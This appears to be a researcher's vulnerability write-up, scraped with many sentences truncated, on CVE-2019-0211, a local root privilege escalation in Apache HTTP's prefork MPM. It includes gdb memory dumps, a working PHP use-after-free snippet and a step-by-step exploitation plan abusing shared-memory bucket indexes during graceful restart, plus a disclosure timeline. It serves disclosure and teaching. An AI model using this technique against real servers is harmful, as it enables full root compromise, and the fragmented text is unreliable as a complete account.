Escalation
2019-04-03
Introduction
From version 2.4.17 (Oct 9, 2015) to version 2.4.38 (Apr 1, 2019), Apache HTTP suffers from a local root privilege escalation vulnerability due to an out-of-bounds array access leading to an arbitrary function call. The vulnerability is triggered when Apache gracefully restarts (
The vulnerability affects
Bug description
In MPM prefork, the main server process, running as
ap_scoreboard_image: pointers to the shared memory block
(gdb) p *ap_scoreboard_image $3 = { global = 0x7f4a9323e008, parent = 0x7f4a9323e020, servers = 0x55835eddea78 } (gdb) p ap_scoreboard_image->servers[0] $5 = (worker_score *) 0x7f4a93240820
Example of shared memory associated with worker PID 19447
(gdb) p ap_scoreboard_image->parent[0] $6 = { pid = 19447, generation = 0, quiescing = 0 '\000', not_accepting = 0 '\000', connections = 0, write_completion = 0, lingering_close = 0, keep_alive = 0, suspended = 0, bucket = 0 <- index for all_buckets } (gdb) ptype *ap_scoreboard_image->parent type = struct process_score { pid_t pid; ap_generation_t generation; char quiescing; char not_accepting; apr_uint32_t connections; apr_uint32_t write_completion; apr_uint32_t lingering_close; apr_uint32_t keep_alive; apr_uint32_t suspended; int bucket; <- index for all_buckets }
When Apache gracefully restarts, its main process kills old workers and replaces them by new ones. At this point, every old worker’s
all_buckets
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket (gdb) p all_buckets[$index] $7 = { pod = 0x7f19db2c7408, listeners = 0x7f19db35e9d0, mutex = 0x7f19db2c7550 } (gdb) ptype all_buckets[$index] type = struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex; <-- } (gdb) ptype apr_proc_mutex_t apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked; char *fname; ... } (gdb) ptype apr_proc_mutex_unix_lock_methods_t apr_proc_mutex_unix_lock_methods_t { ... apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- ... }
No bound checks happen. Therefore, a rogue worker can change its
Vulnerable code
We’ll go through
- A rogue worker changes its
index in shared memory to make it point to a structure of his, also in SHM.bucket
- At 06:25AM the next day,
requests a graceful restart from Apache.logrotate
- Upon this, the main Apache process will first kill workers, and then spawn new ones.
- The killing is done by sending
to workers. They are expected to exit ASAP.SIGUSR1
- Then,
(L853) is called to spawn new workers. Sinceprefork_run()isretained->mpm->was_graceful(L861), workers are not restarted straight away.true
- Instead, we enter the main loop (L933) and monitor dead workers’ PIDs. When an old worker dies,
returns its PID (L940).ap_wait_or_timeout()
- The index of the
structure associated with this PID is stored inprocess_score(L948).child_slot
- If the death of this worker was not fatal (L969),
is called withmake_child()as a third argument (L985). As previously said,ap_get_scoreboard_process(child_slot)->bucket‘s value has been changed by a rogue worker.bucket
-
creates a new child,make_child()ing (L671) the main process.fork()
- The OOB read happens (L691), and
is therefore under the control of an attacker.my_bucket
-
is called (L722), and the function call happens a bit further (L433).child_main()
-
will only executeSAFE_ACCEPT(<code>)if Apache listens on two ports or more, which is often the case since a server listens over HTTP (80) and HTTPS (443).<code>
- Assuming
is executed,<code>is called, which results in a call toapr_proc_mutex_child_init()with mutex under control.(*mutex)->meth->child_init(mutex, pool, fname)
- Privileges are dropped a bit later in the execution (L446).
Exploitation
The exploitation is a four step process: 1. Obtain R/W access on a worker process 2. Write a fake
Advantages: — The main process never exits, so we know where everything is mapped by reading
Problems: — PHP does not allow to read/write
1. Obtain R/W access on a worker process
PHP UAF 0-day
Since
PHP UAF
<?php class X extends DateInterval implements JsonSerializable { public function jsonSerialize() { global $y, $p; unset($y[0]); $p = $this->y; return $this; } } function get_aslr() { global $p, $y; $p = 0; $y = [new X('PT1S')]; json_encode([1234 => &$y]); print("ADDRESS: 0x" . dechex($p) . "\n"); return $p; } get_aslr();
This is an UAF on a PHP object: we unset
UAF to Read/Write
We want to achieve two things: — Read memory to find
Luckily for us, PHP’s heap is located before those two in memory.
Memory addresses of PHP’s heap,
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p 7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so (gdb) p *ap_scoreboard_image $14 = { global = 0x7f4a9323e008, parent = 0x7f4a9323e020, servers = 0x55835eddea78 } (gdb) p all_buckets $15 = (prefork_child_bucket *) 0x7f4a9336b3f0
Since we’re triggering the UAF on a PHP object, any property of this object will be UAF’d too; we can convert this
(gdb) ptype zend_string type = struct _zend_string { zend_refcounted_h gc; zend_ulong h; size_t len; char val[1]; }
The
Locating
bucket
indexes and
all_buckets
We want to change
Shared memory location and targeted process_score structures
root@apaubuntu:~# cat /proc/6318/maps | grep rw-s 7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052 /dev/zero (deleted) (gdb) p &ap_scoreboard_image->parent[0] $18 = (process_score *) 0x7f4a9323e020 (gdb) p &ap_scoreboard_image->parent[1] $19 = (process_score *) 0x7f4a9323e044
To locate
Important structures of bucket items
prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex; <-- } apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked; char *fname; ... } apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t); apr_lockmech_e mech; const char *name; }
Since we have knowledge of those region’s addresses through
As I mentioned,
2. Write a fake
prefork_child_bucket
structure in the SHM
Reaching the function call
The code path to the arbitrary function call is the following:
bucket_id = ap_scoreboard_image->parent[id]->bucket my_bucket = all_buckets[bucket_id] mutex = &my_bucket->mutex apr_proc_mutex_child_init(mutex) (*mutex)->meth->child_init(mutex, pool, fname)

Calling something proper
To exploit, we make
mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object) ht = object->properties zend_array_destroy(ht) zend_hash_destroy(ht) val = &ht->arData[0]->val ht->pDestructor(val)

As you can see, both leftmost structures are superimposed.
3. Make
all_buckets[bucket]
point to the structure
Problem and solution
Right now, if
- Get R/W over all memory after PHP’s heap
- Find
by matching its structureall_buckets
- Put our structure in the SHM
- Change one of the
in the SHM so thatprocess_score.bucketpoints to our payloadall_bucket[bucket]->mutex
As
Spraying the shared memory
If

Using every
process_score
Each Apache worker has an associated
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00 ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00 ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
This multiplies our success rate by the number of apache workers. Upon respawn, only one worker have a valid
Success rate
Different Apache servers have different number of workers. Having more workers mean we can spray the address of our mutex over less memory, but it also means we can specify more
Again, if the exploit fails, it can be restarted the next day as Apache will still restart properly. Apache’s
4. Await 6:25AM for the exploit to trigger
Well, that’s the easy step.
Vulnerability timeline
- 2019-02-22 Initial contact email to
, with description and POCsecurity[at]apache[dot]org
- 2019-02-25 Acknowledgment of the vulnerability, working on a fix
- 2019-03-07 Apache’s security team sends a patch for I to review, CVE assigned
- 2019-03-10 I approve the patch
- 2019-04-01 Apache HTTP version 2.4.39 released
Apache’s team has been prompt to respond and patch, and nice as hell. Really good experience. PHP never answered regarding the UAF.
Questions
Why the name ?
CARPE: stands for CVE-2019-0211 Apache Root Privilege Escalation
DIEM: the exploit triggers once a day
I had to.
Can the exploit be improved ?
Yes. For instance, my computations for the bucket indexes are shaky. This is between a POC and a proper exploit. BTW, I added tons of comments, it is meant to be educational as well.
Does this vulnerability target PHP ?
No. It targets the Apache HTTP server.
Exploit
The exploit is available here.